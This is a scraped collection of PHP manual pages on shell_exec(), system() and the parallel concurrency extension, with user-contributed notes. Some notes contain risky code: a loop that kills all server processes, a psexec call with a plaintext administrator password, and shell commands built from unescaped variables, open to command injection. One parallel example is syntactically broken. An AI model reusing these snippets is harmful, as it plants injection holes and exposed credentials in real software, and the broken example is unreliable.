            $id =   substr($array[$i], 0, strpos($array[$i], ' ?'));
            shell_exec('kill '.$id);
        }
    }
}

new KillAllProcesses();

?>

It's not the very best solution, but I've used it a couple of times when I needed to do it quick without to much trouble.
Make not I kill all the processes, on my server px -x will only return like 4 times /sbin/apache and it's pretty safe to kill them without any trouble.
concept at conceptonline dot hu 19-Sep-2005 02:02
Interestingly, if you execute a script which is not in your path (or you have made a typo, or if the script does no exist at all), you will get no return value. The error will be logged into the error_log of your webserver.

Someone could add a note how this can be (if it could be) overriden, as the standard behaviour is not really fool-proof.
phillipberry at NOSPAM dot blisswebhosting dot com 11-Apr-2005 01:13
I found something odd.

If you run exec then straight after shell_exec the shell_exec will simply not run and will return NULL.

To get it to work i put a sleep(5) after the exec and now shell_exec works fine.
03-Jan-2005 09:10
Be careful as to how you elevate privileges to your php script.  It's a good idea to use caution and planing.  It is easy to open up huge security holes.  Here are a couple of helpful hints I've gathered from experimentation and Unix documentation.

Things to think about:

1. If you are running php as an Apache module in Unix then every system command you run is run as user apache.  This just makes sense.. Unix won't allow privileges to be elevated in this manner.  If you need to run a system command with elevated privileges think through the problem carefully!

2. You are absolutely insane if you decide to run apache as root.  You may as well kick yourself in the face.  There is always a better way to do it.

3. If you decide to use a SUID it is best not to SUID a script.  SUID is disabled for scripts on many flavors of Unix.  SUID scripts open up security holes, so you don't always want to go this route even if it is an option.  Write a simple binary and elevate the privileges of the binary as a SUID.  In my own opinion it is a horrible idea to pass a system command through a SUID-- ie have the SUID accept the name of a command as a parameter.  You may as well run Apache as root!
James McCormack 05-Aug-2004 01:50
I had a perl program which ran fine from command line but not using shell_exec(), exec() or system() - nothing was being returned. I was using the full path and permissions were set correctly.

It turned out the perl program was using more memory than my PHP.INI file was set to allow. Increasing "memory_limit" solved the problem.
Martin Rampersad 11-Jan-2004 01:13
I have PHP (CGI) and Apache. I also shell_exec() shell scripts which use PHP CLI. This combination destroys the string value returned from the call. I get binary garbage.  Shell scripts that start with #!/usr/bin/bash return their output properly.

A solution is to force a clean environment.  PHP CLI no longer had the CGI environment variables to choke on.

<?php

// Binary garbage.
$ExhibitA = shell_exec('/home/www/myscript');

// Perfect.
$ExhibitB = shell_exec('env -i /home/www/myscript');

?>

-- start /home/www/myscript
#!/usr/local/bin/phpcli
<?php

echo("Output.\n");

?>
-- end /home/www/myscript
jessop <AT> bigfoot <DOT> com 03-Dec-2003 12:19
Just a quick reminder for those trying to use shell_exec on a unix-type platform and can't seem to get it to work. PHP executes as the web user on the system (generally www for Apache), so you need to make sure that the web user has rights to whatever files or directories that you are trying to use in the shell_exec command. Other wise, it won't appear to be doing anything.
mcbeth at broggs dot org 14-Apr-2003 02:18
As far as error checking on the last example.  Several of the shells have the && operator, so you just string your commands together using it instead of ; If at any time any of the programs fail, you will return without running the rest
tonysb at gmx dot net 30-Mar-2002 12:57
shell_exec is extremely useful as a substitute for the virtual() function where unavailable (Microsoft IIS for example). All you have to do is remove the content type string sent in the header:

<?
$mstrng = shell_exec('yourcgiscript.cgi');
$mstrng = ereg_replace( "Content-type: text/html", "", $mstrng );
echo $mstrng;
?>

This works fine for me as a substitute for SSI or the virtual() func.

Anton Babadjanov
http://www.vbcn.com.ar


外部プログラムを実行し、出力を表示する

  • ≪ shell_exec
  • parallel ≫
  • PHP Manual
  • プログラム実行関数
  • 外部プログラムを実行し、出力を表示する

system

(PHP 4, PHP 5, PHP 7, PHP 8)

system — 外部プログラムを実行し、出力を表示する

説明

system ( string $command , int &$result_code = null ) : string|false

system() は、指定した command を実行し、結果を出力する C 言語の system 関数に似ています。

PHP をサーバーモジュールとして実行している場合、 system() のコールにより、各行を出力した後、 Web サーバーの出力バッファが自動的にクリアされます。

コマンドを実行し、何の加工もせずに全てのデータをコマンドから直接 返す必要がある場合、passthru() 関数を使用してください。

パラメータ

command

実行するコマンド。

result_code

引数 result_code が存在する場合、 実行したコマンドの返すステータスがこの変数に書かれます。

返り値

成功時はコマンド出力の最後の行を返し、失敗時は false を返します。

例

例1 system() の例

<?php
echo '<pre>';

// シェルコマンド "ls" の全ての結果を出力し、出力の最後の
// 行を $last_line に格納します。シェルコマンドの戻り値は
// $retval に格納されます。
$last_line = system('ls', $retval);

// 追加情報を表示します。
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

注意

警告

ユーザーが入力したデータをこの関数に 渡すことを許可する場合、ユーザーが任意のコマンドを実行できるようシステムを欺くことが できないように escapeshellarg() または escapeshellcmd() を適用する必要があります。

注意:

プログラムがこの関数で始まる場合、 バックグラウンドで処理を続けさせるには、 プログラムの出力をファイルや別の出力ストリームにリダイレクトする必要があります。 そうしないと、プログラムが実行を終えるまで PHP はハングしてしまいます。

参考

  • exec() - 外部プログラムを実行する
  • passthru() - 外部プログラムを実行し、未整形の出力を表示する
  • popen() - プロセスへのファイルポインタをオープンする
  • escapeshellcmd() - シェルのメタ文字をエスケープする
  • pcntl_exec() - 現在のプロセス空間で指定したプログラムを実行する
  • バックティック演算子

User Contributed Notes

Anonoymous 11-Apr-2019 11:06
Windows commands requiring a GUI.

Alot of the info on this topic is from the 2010-2012 time frame and referring to XP, and basically don't work.  I am using apache/php/mysql in windows 7.

When requiring a system command in windows with a GUI - such as a labview executable, notepad, etc..., others have mentioned the psexec command from sysinternals, since cmd /c wont work, but the specific use was not real clearly defined.  Here is what worked for me on windows 7:

system('C:/nttools/2019/psexec \\\\10.100.100.101 -i  -u administrator -p password -accepteula -nobanner C:\\htdocs\\test\\test.bat');

The path to the psexec executable is with forward slashes, the remote PC network location (which was actually the local PC, not remote) was \\ip_address with an extra backslash for each backslash so that required the 4 \'s.

The path for the command to be executed by psexec required backslashes, which also requires double backslashes.

The -i option is for an interactive program, and is required for it to properly run, otherwise it show up in the taskmanager but not be visable or execute properly if given command line arguments.

The -accepteula -nobanner is to suppress the sysinternals message box about their license.

My command to execute is really long with multiple command line inputs with many surrounded in double quotes, so I thought it would be easiest to put that in a batch file and just call the bat file.  Works great, remote users loading the webpage causes the executable to pop up on the web server, do its analysis and disappear.  Labview can read native excel files with active-x functions and write to a mysql data base to store results etc, so thats a pretty powerful combination of functions.
Alastair Irvine 11-Dec-2017 02:10
Note that system() returns FALSE on failure, but this does NOT happen when the command returned a non-zero exit code.  system() won't even fail if the command isn't found.  (bash returns exit code 127 in this case.)  I assume system() only returns FALSE when something seriously bad happens, like not being able to run your shell.
no at mail dot com 19-May-2012 10:06
This is for WINDOWS users. I am running apache and I have been trying for hours now to capture the output of a command.

I'd tried everything that is written here and then continued searching online with no luck at all. The output of the command was never captured. All I got was an empty array.

Finally, I found a comment in a blog by a certain amazing guy that solved my problems.

Adding the string ' 2>&1' to the command name finally returned the output!! This works in exec() as well as system() in PHP since it uses stream redirection to redirect the output to the correct place!

system("yourCommandName 2>&1",$output) ;
kexianin at diyism dot com 02-Dec-2009 11:41
If you can't see any output or error from system(), shell_exec() etc, you could try this:

<?php
function my_exec($cmd, $input='')
         {$proc=proc_open($cmd, array(0=>array('pipe', 'r'), 1=>array('pipe', 'w'), 2=>array('pipe', 'w')), $pipes);
          fwrite($pipes[0], $input);fclose($pipes[0]);
          $stdout=stream_get_contents($pipes[1]);fclose($pipes[1]);
          $stderr=stream_get_contents($pipes[2]);fclose($pipes[2]);
          $rtn=proc_close($proc);
          return array('stdout'=>$stdout,
                       'stderr'=>$stderr,
                       'return'=>$rtn
                      );
         }
var_export(my_exec('echo -e $(</dev/stdin) | wc -l', 'h\\nel\\nlo'));
?>

For example, "echo shell_exec('ls');" will get nothing output,
"my_exec('ls');" will get "sh: ls: command not found",
"my_exec('/bin/ls');" will maybe get "sh: /bin/ls: Permission denied",
and the permission may be caused by selinux.
grytolle at gmail dot com 03-May-2009 10:12
This is a work-around that makes the program run in it's own directory instead of the script's.

example usage:
<?php runAsynchronously("c:\games\jazz2\jazz2.exe","-connect 1.2.3.4"); ?>

<?php
function runAsynchronously($path,$arguments) {
    $WshShell = new COM("WScript.Shell");
    $oShellLink = $WshShell->CreateShortcut("temp.lnk");
    $oShellLink->TargetPath = $path;
    $oShellLink->Arguments = $arguments;
    $oShellLink->WorkingDirectory = dirname($path);
    $oShellLink->WindowStyle = 1;
    $oShellLink->Save();
    $oExec = $WshShell->Run("temp.lnk", 7, false);
    unset($WshShell,$oShellLink,$oExec);
    unlink("temp.lnk");
}
?>
Daniel Morris (danielxmorris.com) 02-Jun-2008 06:34
How to produce a system beep with PHP.

<?php
        function beep ($int_beeps = 1) {
            for ($i = 0; $i < $int_beeps; $i++): $string_beeps .= "\x07"; endfor;
            isset ($_SERVER['SERVER_PROTOCOL']) ? false : print $string_beeps;
        }

?>

This will not do anything when running through a browser, if running through a shell it will produce an audible beep $int_beeps times.  This should work on Windows, Unix, etc.
vlad dot sharanhovich at gmail dot com 09-Apr-2008 12:33
The double quote problem on Windows platform discussed earlier here in comments still present in PHP 5.2.5. You can't execute system($command) if $command contains more than 2 " chars. system('"echo" A'); works, while system('"echo" "A"'); does not. Search comment, that was a solution posted to overhaul this issue via temporary .bat file.
timgolding_10 at hotmail dot com 20-Jul-2007 07:19
An example of using the system to call the file command on a linux server. This script detects whether a user posted file is a jpeg, gif or png

<?PHP

$accepted_types=array("JPEG" , "GIF", "PNG");

    // The temporary filename of the file in which the uploaded file was stored on the server.
if(!empty($_FILES["uploadedfile"]))
  {
    $uploaddir = $_SERVER['DOCUMENT_ROOT']."/images/";
    $uploaddir.=basename( $_FILES['uploadedfile']['name']);

 //verfiy file using linux FILE command
 $last_line = system('file '.escapeshellarg($_FILES['uploadedfile']['tmp_name']), $retval);

 //get the file extension returned through magic database
 $splitvals=explode(' image data' ,  $last_line);
 $vals=explode(':', $splitvals[0]);
 $vals[1]=str_replace(' ','', $vals[1]);

 if (in_array($vals[1], $accepted_types))
 {
    echo $vals[1].' was accepted <br />';
        if(!file_exists($uploaddir)){
            //Copy the file to some permanent location
            if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $uploaddir))
             {
              echo $uploaddir." was uploaded! <br />";
             }
            else
             {
              echo "There was a problem when uploding the new file, please contact admin about this.";
             }
        }
        else echo 'This file already exists in DB please rename file before uploading';
}
}else echo $_FILES['uploadedfile']['error'].'<br />';
?>
dan at thecsl dot org 29-May-2006 08:45
You probably want to check your system calls for errors. The convention is to return 0  for "no error" which is the same as FALSE which can be confusing. You need to do something like:

<?php
  $cmd = "/usr/bin/pngtopnm $png_file > $pnm_file";
  system($cmd,$return_value);
  ($return_value == 0) or die("returned an error: $cmd");
?>
vdweij at hotmail dot com 09-Aug-2005 02:41
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
eric_REMOVE at movementmovement_REMOVE dot com 21-May-2004 12:56
It's important to note that if you are running a series of system() commands in a loop, you need to include the second argument in order for them to run synchonously.

ie)

// this will execute process.php asynchronously; not waiting for completion before executing the next one.
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"");
}

// this will execute process.php 3 times, waiting for the prior command to complete before starting a new one
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"", $status);
}
mortoray at ecircle-ag dot com 04-Mar-2004 03:55
Do not use "system" if you use the "php.ini" option:
    zlib.output_compression = On

Doing so will result in the browser receiving garbage (I'm guessing the headers/buffers get confused).

Use passthru in this case, it appears to work as intended.
morris_hirsch at hotmail dot com 16-Sep-2003 02:49
another reason to use shell_exec instead of system is when the result is multiple lines such as grep or ls

<?php

// this correctly sets answer string to all lines found
//$answer = shell_exec ("grep 'set of color names' *.php ");
//echo "answer = $answer";

// this passes all lines to output (they  show on page)
// and sets answer string to the final line
 $sys = system ("grep 'set of color names' *.php ");
 echo "sys =(($sys))";

?>

here is view/source resulting from system call

setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  //$answer = shell_exec ("grep 'set of color names' *.php ");
silly.php: $sys = system ("grep 'set of color names' *.php ");
sys =((silly.php: $sys = system ("grep 'set of color names' *.php ");))

and here is view source from using shell_exec instead

answer = setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  $answer = shell_exec ("grep 'set of color names' *.php ");
silly.php:// $sys = system ("grep 'set of color names' *.php ");
lc at _REMOVE__THIS_lc dot yi dot org 09-Sep-2003 05:24
Re: cpmorris at hotmail dot com and WINNT.

I just spent some time learning to use the php system function.  I managed to get long file names to work for me.  It seems you need to take the same approach that batch files, WSH, and most other programming languages do under WinNT/2K/XP.  Putting double quotes around the Path+Filename seems to work.  So, something like this should have worked for you:

"c:\program files\apache group\apache2\bin\htpasswd"

Note that if you have parameters, they go OUTSIDE of the last quote.  Oh, and don't forget to escape the slashes and quotes!

I don't know what htpasswd's params are, but let us pretend:

$cmd="\"c:\\program files\\apache group\\apache2\\bin\\htpasswd\" username password";
$str=system($cmd);

Hope this helps someone!

Leonard
http:\\www.lc.yi.org
Jim Belton 26-Aug-2003 01:58
To run a full screen program from a PHP CLI script, redirect input from and output to /dev/tty.  For example:

system("timeconfig > /dev/tty < /dev/tty");

System will wait for the program to finish before continuing.
d dot kraft at szo dot de 10-Mar-2003 02:18
For PHP running inside a Webserver:

When calling a process via
system("your_process &");
to make it running in background, note that this process is killed when the webserver is restarted.
cnoelker at softpearls dot de 05-Mar-2003 06:13
Hi,
some tips for using a system()-call for batch files on a windows computer:
* Write the path to the executable with double back-slashes, like so:
   C:\\path\\to\\prog.exe
* If you are refering to other pathes, e.g. as a parameter, one back-slash works fine.
* Do not use SET for declaring parameters - this does not work! Example:
   SET PATH="C:\path\to\lib"
   echo path is %PATH%
This works fine when started from the comand line, but when called from PHP, the variable is just empty.
nospam at php dot net 24-Jul-2000 05:57
If you are trying to parse a CGI script to your webserver which needs arguments, take a look to the virtual() function .. it took me long before i found out it existed...
It's used like this:
<?php
virtual("/cgi-bin/lastuser.cgi?argument");
?>
And that works excellent now for me
ccurtis at aet-usa dot com 14-Jun-1999 11:07
If no headers have been printed, calling the system() function will flush the headers to the client and insert a newline; no further headers or cookies will be transferred to the browser.  In version 3.0.7, you will not be warned that the Header() function failed, but will be warned if trying to set a cookie.  If you want to continue to send headers after the function call, use exec() instead.


parallel

  • はじめに
  • Installation
  • Philosophy
  • Functional API
    • parallel\bootstrap — Bootstrapping
    • parallel\run — Execution
  • parallel\Runtime — The parallel\Runtime class
    • parallel\Runtime::__construct — Runtime Construction
    • parallel\Runtime::run — Execution
    • parallel\Runtime::close — Runtime Graceful Join
    • parallel\Runtime::kill — Runtime Join
  • parallel\Future — The parallel\Future class
    • parallel\Future::cancel — Cancellation
    • parallel\Future::cancelled — State Detection
    • parallel\Future::done — State Detection
    • parallel\Future::value — Resolution
  • parallel\Channel — The parallel\Channel class
    • parallel\Channel::__construct — Channel Construction
    • parallel\Channel::make — Access
    • parallel\Channel::open — Access
    • parallel\Channel::recv — Sharing
    • parallel\Channel::send — Sharing
    • parallel\Channel::close — Closing
  • parallel\Events — The parallel\Events class
    • parallel\Events::setBlocking — Behaviour
    • parallel\Events::setTimeout — Behaviour
    • parallel\Events::setInput — Input
    • parallel\Events::addChannel — Targets
    • parallel\Events::addFuture — Targets
    • parallel\Events::remove — Targets
    • parallel\Events::poll — Polling
  • parallel\Events\Input — The parallel\Events\Input class
    • parallel\Events\Input::add — Inputs
    • parallel\Events\Input::clear — Inputs
    • parallel\Events\Input::remove — Inputs
  • parallel\Events\Event — The parallel\Events\Event class
  • parallel\Events\Event\Type — The parallel\Events\Event\Type class
  • parallel\Sync — The parallel\Sync class
    • parallel\Sync::__construct — Construction
    • parallel\Sync::get — Access
    • parallel\Sync::set — Access
    • parallel\Sync::wait — Synchronization
    • parallel\Sync::notify — Synchronization
    • parallel\Sync::__invoke — Synchronization

User Contributed Notes

There are no user contributed notes for this page.


はじめに

parallel is a parallel concurrency extension for PHP 7.2+.

A brief description of the concepts core to parallel follows, more detailed information may be found within this section of the manual.

Runtime

A parallel\Runtime represents a PHP interpreter thread. A parallel\Runtime is configured with an optional bootstrap file passed to parallel\Runtime::__construct(), this is typically an autoloader, or some other preloading routine: The bootstrap file will be included before any task is executed.

After construction the parallel\Runtime remains available until it is closed, killed, or destroyed by the normal scoping rules of PHP objects. parallel\Runtime::run() allows the programmer to schedule tasks for execution in parallel. A parallel\Runtime has a FIFO schedule, tasks will be executed in the order that they are scheduled.

Functional API

parallel implements a functional, higher level API on top of parallel\Runtime that provides a single function entry point to executing parallel code with automatic scheduling: parallel\run().

Task

A task is simply a Closure intended for parallel execution. The Closure may contain almost any instruction, including nested closures. However, there are some instructions that are prohibited in tasks:

  • yield

  • use by-reference

  • declare class

  • declare named function

注意:

Nested closures may yield or use by-reference, but must not contain class or named function declarations.

注意:

No instructions are prohibited in the files which the task may include.

Future

The parallel\Future is used to access the return value from the task, and exposes an API for cancellation of the task.

Channel

A task may be scheduled with arguments, use lexical scope variables (by-value), and return a value (via a parallel\Future), but these only allow uni-directional communication: They allow the programmer to send data into and retrieve data from a task, but do not allow bi-directional communication between tasks. The parallel\Channel API allows bi-directional communication between tasks, a parallel\Channel is a socket-like link between tasks that the programmer can use to send and receive data.

Events

The parallel\Events API implements a native feel (Traversable) event loop, and parallel\Events::poll() method. It allows the programmer to work with sets of channels and or futures. The programmer simply adds channels and futures to the event loop, optionally setting the input for writes with parallel\Events::setInput(), and enters into a foreach: parallel will read from and write to objects as they become available yielding parallel\Events\Event objects describing the operations that have occurred.

参考

  • Philosophy

User Contributed Notes

There are no user contributed notes for this page.


Installation

要件

parallel requires a build of PHP with ZTS (Zend Thread Safety) enabled ( --enable-maintainer-zts or --enable-zts on Windows )

警告

Zend Thread Safety cannot be enabled post build; it is a build time configuration option.

parallel should build anywhere there is a working Posix Threads header (pthread.h) and ZTS build of PHP, including Windows (using the pthread-w32 project from redhat).

インストール手順

parallel releases are hosted by PECL and the source code by » github, the easiest route to installation is the normal PECL route: » https://pecl.php.net/package/parallel.

Windows users can download prebuilt release binaries from the » PECL website.

警告

Windows users need to take the additional step of adding pthreadVC2.dll (distributed with Windows releases) to their PATH.

User Contributed Notes

There are no user contributed notes for this page.


Philosophy

This section contains philosophies important to writing parallel code and some details about the internal implementation of parallel.

Do not communicate by sharing memory; instead, share memory by communicating.

This philosophy which is embraced by parallel has its origins in Go, one of the most widely admired if not used platforms for writing parallel code at the moment. Go programmers have to work hard to live up to this ideal: PHP and parallel do all the hard work for the programmer, and by default.

In conventional threading models found in other languages, generally threads are communicating with one another through nothing more than by virtue of the fact that they operate in the same address space. The programmer must deploy mutual exclusion, condition variables, and other low level threading or synchronization primitives in order to ensure proper communication of state and consistency.

When the conventional model is inversed, it means that threads only share memory as a result of communication (a variable is passed over a Channel for example).

When parallel passes a variable from one thread to another by any means - Task arguments, return via Future, and Channels - it is passed by value. In all but the case of unbuffered channels, the variable is also buffered so that it may not change (or be destroyed) before it is used in whichever thread the variable is being passed to. An unbuffered read over a channel is the only instance in which a thread directly reads memory allocated by another thread, it can do so safely because the thread that owns the memory is waiting for the read to complete before it can continue to manipulate it, and the thread that does not own the memory reads by value. When both threads continue, they are no longer sharing memory.

This makes writing and reasoning about parallel code much easier than the conventional model of threading. It means the programmer does not need to consider that threads may be manipulating data concurrently, because that is not possible.

This also makes PHP the perfect platform for implementing a parallel concurrency API based on CSP (message passing over channels), because PHP itself is shared nothing - PHP threads operate in their own virtual address space by default, and so may only share memory by communicating.

Data should have a definitive single owner

When approaching the CSP model for the first time, a programmer versed in the traditional model of threading may find themselves looking for concurrent data structures, because that is what they are used too: they pass around shared objects for manipulation.

When it comes to the CSP model, there is no need for data structures to be shared by many tasks, and indeed, it is simpler if they are not. The data should be owned by a single task, changes to (or operations on) that data structure should be communicated over channels and performed by the owner of the data, the success, failure, or result (state) of the change (or operation) being communicated back.

Once again the share nothing nature of PHP and copy by value nature of parallel helps the programmer to achieve this goal, no data will be shared by accident, only ever as a result of communication.

User Contributed Notes

There are no user contributed notes for this page.


Functional API

The parallel\Runtime API provides a great degree of control to the power PHP programmer, and those intimately familiar with writing applications that use parallel concurrency.

The functional API provides less control in exchange for the ability to make decisions for the programmer:

  • all executing runtimes are bootstrapped identically

  • scheduling is determined by the API, not the programmer

parallel\run() provides the guarantee that the task will begin to execute in parallel as soon as allowed by hardware and operating system constraints, without needlessly creating runtimes. For most applications the functional API should be preferred.

目次

  • parallel\bootstrap — Bootstrapping
  • parallel\run — Execution

User Contributed Notes

There are no user contributed notes for this page.


Bootstrapping

  • ≪ Functional API
  • parallel\run ≫
  • PHP Manual
  • Functional API
  • Bootstrapping

parallel\bootstrap

(1.0.0)

parallel\bootstrap — Bootstrapping

説明

parallel\bootstrap ( string $file ) : void

Shall use the provided file to bootstrap all runtimes created for automatic scheduling via parallel\run().

Exceptions

警告

Shall throw parallel\Runtime\Error\Bootstrap if previously called for this process.

警告

Shall throw parallel\Runtime\Error\Bootstrap if called after parallel\run().

参考

  • parallel\Runtime::run

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • ≪ parallel\bootstrap
  • parallel\Runtime ≫
  • PHP Manual
  • Functional API
  • Execution

parallel\run

(1.0.0)

parallel\run — Execution

説明

parallel\run ( Closure $task ) : Future|null

Shall schedule task for execution in parallel.

parallel\run ( Closure $task , array $argv ) : Future|null

Shall schedule task for execution in parallel, passing argv at execution time.

Automatic Scheduling

If a \parallel\Runtime internally created and cached by a previous call to parallel\run() is idle, it will be used to execute the task. If no \parallel\Runtime is idle parallel will create and cache a \parallel\Runtime.

注意:

\parallel\Runtime objects created by the programmer are not used for automatic scheduling.

パラメータ

task

A Closure with specific characteristics.

argv

An array of arguments with specific characteristics to be passed to task at execution time.

Task Characteristics

Closures scheduled for parallel execution must not:

  • accept or return by reference
  • accept or return internal objects (see notes)
  • execute a limited set of instructions

Instructions prohibited in Closures intended for parallel execution are:

  • yield
  • use by-reference
  • declare class
  • declare named function

注意:

Nested closures may yield or use by-reference, but must not contain class or named function declarations.

注意:

No instructions are prohibited in the files which the task may include.

Arguments Characteristics

Arguments must not:

  • contain references
  • contain resources
  • contain internal objects (see notes)

注意:

In the case of file stream resources, the resource will be cast to the file descriptor and passed as int where possible, this is unsupported on Windows.

Internal Objects Notes

Internal objects generally use a custom structure which cannot be copied by value safely, PHP currently lacks the mechanics to do this (without serialization) and so only objects that do not use a custom structure may be shared.

Some internal objects do not use a custom structure, for example parallel\Events\Event and so may be shared.

Closures are a special kind of internal object and support being copied by value, and so may be shared.

Channels are central to writing parallel code and support concurrent access and execution by necessity, and so may be shared.

警告

A user class that extends an internal class may use a custom structure as defined by the internal class, in which case they cannot be copied by value safely, and so may not be shared.

返り値

警告

The return parallel\Future must not be ignored when the task contains a return or throw statement.

Exceptions

警告

Shall throw parallel\Runtime\Error\Closed if parallel\Runtime was closed.

警告

Shall throw parallel\Runtime\Error\IllegalFunction if task is a closure created from an internal function.

警告

Shall throw parallel\Runtime\Error\IllegalInstruction if task contains illegal instructions.

警告

Shall throw parallel\Runtime\Error\IllegalParameter if task accepts or argv contains illegal variables.

警告

Shall throw parallel\Runtime\Error\IllegalReturn if task returns illegally.

参考

  • parallel\Runtime::run

User Contributed Notes

anonymous user 07-Feb-2021 02:49
Although function declaration is not allowed inside thread exec code, include is allowed. So if we want to declare a function, we could write another file that contain the function and include it.
# main.php
<?php
$runtime = new parallel\Runtime ();
$future = $runtime->run ( function () {
    $future = $runtime->run ( function () {
        include "included.php";
        return add (1, 3);
    }, [ ] );
echo $future->value ();
# output: 4
# included.php
<?php
function add($a, $b){
    return $a + $b;
}
john_2885 at yahoo dot com 20-Feb-2020 05:35
Here's a more substantial example of how to use the run functional API.

<?php
/*********************************************
 * Sample parallel functional API
 *
 * Scenario
 * -------------------------------------------
 * Given a large number of rows of
 * data to process, divide the work amongst
 * a set of workers.  Each worker is responsible
 * for finishing their assigned task.
 *
 * In the code below, assume we have arbitrary
 * start and end IDs (rows) - we will try to
 * divide the number of IDs (rows) evenly
 * across 8 workers.  The workers will get the
 * following batches to process to completion:
 *
 * Total number of IDs (rows): 1371129
 * Each worker will get 171392 IDs to process
 *
 * Worker 1: IDs from 11001 to 182393
 * Worker 2: IDs from 182393 to 353785
 * Worker 3: IDs from 353785 to 525177
 * Worker 4: IDs from 525177 to 696569
 * Worker 5: IDs from 696569 to 867961
 * Worker 6: IDs from 867961 to 1039353
 * Worker 7: IDs from 1039353 to 1210745
 * Worker 8: IDs from 1210745 to 1382130
 *
 * Each worker then processes 5000 rows at a time
 * until they are done with their assigned work
 *
 *********************************************/

use \parallel\{Runtime, Future, Channel, Events};

$minId = 11001;
$maxId = 1382130;
$workers = 8;
$totalIds = $maxId - $minId;
// Try to divide IDs evenly across the number of workers
$batchSize = ceil($totalIds / $workers);
// The last batch gets whatever is left over
$lastBatch = $totalIds % $batchSize;
// The number of IDs (rows) to divide the overall
// task into sub-batches
$rowsToFetch = 5000;

print "Total IDs: " . $totalIds . "\n";
print "Batch Size: " . $batchSize . "\n";
print "Last Batch: " . $lastBatch . "\n";

$producer = function(int $worker, int $startId, int $endId, int $fetchSize) {
    $tempMinId = $startId;
    $tempMaxId = $tempMinId + $fetchSize;
    $fetchCount = 1;

    print "Worker " . $worker . " working on IDs from " . $startId . " to " . $endId . "\n";

    while($tempMinId < $endId) {
        for($i = $tempMinId; $i < $tempMaxId; $i++) {
            $usleep = rand(500000, 1000000);
            usleep($usleep);
            print "Worker " . $worker .  " finished batch " . $fetchCount . " from ID " . $tempMinId . " to " . $tempMaxId . "\n";
            // Need to explicitly break out of the for loop once complete or else it will forever process only the first sub-batch
            break;
        }

        // Now we move on to the next sub-batch for this worker
        $tempMinId = $tempMaxId;
        $tempMaxId = $tempMinId + $fetchSize;
        if($tempMaxId > $endId) {
            $tempMaxId = $endId;
        }
        // Introduce some timing randomness
        $sleep = rand(1,5);
        sleep($sleep);
        $fetchCount++;
    }

    // This worker has completed their entire batch
    print "Worker " . $worker .  " finished\n";

};

// Create our workers and have them start working on their task
// In this case, it's a set of 171392 IDs to process
for($i = 0; $i < $workers; $i++) {
    $startId = $minId + ($i * $batchSize);
    $endId = $startId + $batchSize;
    if($i == ($workers - 1)) {
        $endId = $maxId;
    }
    \parallel\run($producer, array(($i+1), $startId, $endId, $rowsToFetch));
}

?>


The parallel\Runtime class

(0.8.0)

Runtime Objects

Each runtime represents a single PHP thread, the thread is created (and bootstrapped) upon construction. The thread then waits for tasks to be scheduled: Scheduled tasks will be executed FIFO and then the thread will resume waiting until more tasks are scheduled, or it's closed, killed, or destroyed by the normal scoping rules of PHP objects.

警告

When a runtime is destroyed by the normal scoping rules of PHP objects, it will first execute all of the tasks that were scheduled, and block while doing so.

Runtime Bootstrapping

When a new runtime is created, it does not share code with the thread (or process) that created it. This means it doesn't have the same classes and functions loaded, nor the same autoloader set. In some cases, a very lightweight runtime is desirable because the tasks that will be scheduled do not need access to the code in the parent thread. In those cases where the tasks do need to access the same code, it is enough to set an autoloader as the bootstrap.

注意:

preloading may be used in conjunction with parallel, in this case preloaded code is available without bootstrapping

クラス概要

final parallel\Runtime {
/* Create */
public __construct ( )
public __construct ( string $bootstrap )
/* Execute */
public run ( Closure $task ) : Future|null
public run ( Closure $task , array $argv ) : Future|null
/* Join */
public close ( ) : void
public kill ( ) : void
}

目次

  • parallel\Runtime::__construct — Runtime Construction
  • parallel\Runtime::run — Execution
  • parallel\Runtime::close — Runtime Graceful Join
  • parallel\Runtime::kill — Runtime Join

User Contributed Notes

Luciano Vettoretti 25-Nov-2019 08:27
basic-multithreading-test.php

<?php
use parallel\Runtime;
use parallel\Channel;

$test = "this var is not accesible in a thread";

// this function will be the threads
$thread_function = function (int $id, Channel $ch) {
    // delay the first thread to simulate better multithreading
    // second thread always finishes first
    $sleep = ($id == 2) ? 1 : 2;
    sleep($sleep);

    // print thread id
    // so it's clear second thread goes first
    // and also you can make sure multithreading is working
    var_dump("thread $id sleep $sleep");

    // try to capture globals, but it's not possible
    echo '$GLOBALS["test"] = ';
    @var_dump($GLOBALS["test"]);

    // the only way to share data is between channels
    $ch->send($sleep);
};

try {
    // each runtime represents a thread
    $r1 = new Runtime();
    $r2 = new Runtime();

    // channel where the date will be sharead
    $ch1 = new Channel();

    // args that will be sent to $thread_function
    $args = array();
    $args[0] = null;
    $args[1] = $ch1;

    // running thread 1
    $args[0] = 1;
    $r1->run($thread_function, $args);

    // running thread 2
    $args[0] = 2;
    $r2->run($thread_function, $args);

    // receive data from channel
    $x = $ch1->recv();
    $y = $ch1->recv();

    // close channel
    $ch1->close();

    echo "\nData received by the channel: $x and $y";
} catch (Error $err) {
    echo "\nError:", $err->getMessage();
} catch (Exception $e) {
    echo "\nException:", $e->getMessage();
}


Runtime Construction

  • ≪ parallel\Runtime
  • parallel\Runtime::run ≫
  • PHP Manual
  • parallel\Runtime
  • Runtime Construction

parallel\Runtime::__construct

(0.8.0)

parallel\Runtime::__construct — Runtime Construction

説明

public parallel\Runtime::__construct ( )

Shall construct a new runtime without bootstrapping.

public parallel\Runtime::__construct ( string $bootstrap )

Shall construct a bootstrapped runtime.

パラメータ

bootstrap

The location of a bootstrap file, generally an autoloader.

Exceptions

警告

Shall throw parallel\Runtime\Error if thread could not be created

警告

Shall throw parallel\Runtime\Bootstrap if bootstrapping failed

User Contributed Notes

